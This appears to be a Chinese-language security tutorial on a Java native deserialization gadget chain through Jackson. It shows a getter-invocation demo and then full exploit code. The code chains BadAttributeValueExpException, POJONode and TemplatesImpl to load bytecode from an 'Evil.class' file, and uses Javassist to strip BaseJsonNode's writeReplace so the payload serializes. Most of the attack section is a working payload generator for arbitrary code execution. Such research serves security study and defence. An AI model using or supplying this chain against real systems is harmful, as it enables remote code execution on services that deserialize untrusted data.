Jackson 原生反序列化
Jackson的objectMapper.writeValueAsString会调用一个类中所有的getter方法。
测试如下
package jj;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
public class jacksonTest {
public static void main(String[] args) throws JsonProcessingException {
Message message = new Message();
message.setCode(5199);
ObjectMapper objectMapper = new ObjectMapper();
String s = objectMapper.writeValueAsString(message);
System.out.println("jackon string: " + s);
}
}
Message.java
package jj;
import java.io.Serializable;
public class Message{
int code;
String detail;
Object data;
public void setCode(int code) {
this.code = code;
}
public void setDetail(String detail) {
this.detail = detail;
}
public void setData(Object data) {
this.data = data;
}
public int getCode() {
System.out.println("getCode");
return this.code;
}
public String getDetail() {
System.out.println("getDetail");
return this.detail;
}
public Object getData() {
System.out.println("getData");
return this.data;
}
public Message(){
}
public Message(int code, String detail) {
this.code = code;
this.detail = detail;
}
public Message(int code, String detail, Object data) {
this.code = code;
this.detail = detail;
this.data = data;
}
}

CC3中所利用的TemplatesImpl就是用的其中的getTransletInstance来进行任意类加载的

而POJONode的toString方法最后会调用到JsonMapper.writeValueAsString(JsonMapper继承于objectMapper)

toString方法又可以用CC5中的BadAttributeValueExpException来触发。所以一个简单的构造链就有了
public class Test {
public static void main(String[] args) throws Exception {
byte[] bytecode = Files.readAllBytes(Paths.get("src/main/java/Evil.class")); // Evil bytecode
byte[][] bytecodes = {bytecode};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytecodes);
setValue(templates, "_name", "xx");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
serialize(val);
// unserialize("ser.bin");
}
但是这个它在序列化的时候会报个错,原因出在POJONode的父类BaseJsonNode中,它实现了一个writeReplace方法。该方法是一个在对象序列化之前被调用的特殊方法,允许对象提供其替代对象进行序列化。
所以我们这里要将BaseJsonNode的writeReplace删去,完整代码如下
public class Test {
public static void main(String[] args) throws Exception {
byte[] bytecode = Files.readAllBytes(Paths.get("src/main/java/Evil.class")); // Evil bytecode
byte[][] bytecodes = {bytecode};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytecodes);
setValue(templates, "_name", "xx");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
// 删除 BaseJsonNode 的 writeReplace
try {
ClassPool _pool = ClassPool.getDefault();
CtClass jsonNode = _pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
// 获取当前线程的上下文类加载器。类加载器用于加载类和资源
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
// 将修改后的 BaseJsonNode 类加载到 JVM 中
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
serialize(val);
// unserialize("ser.bin");
}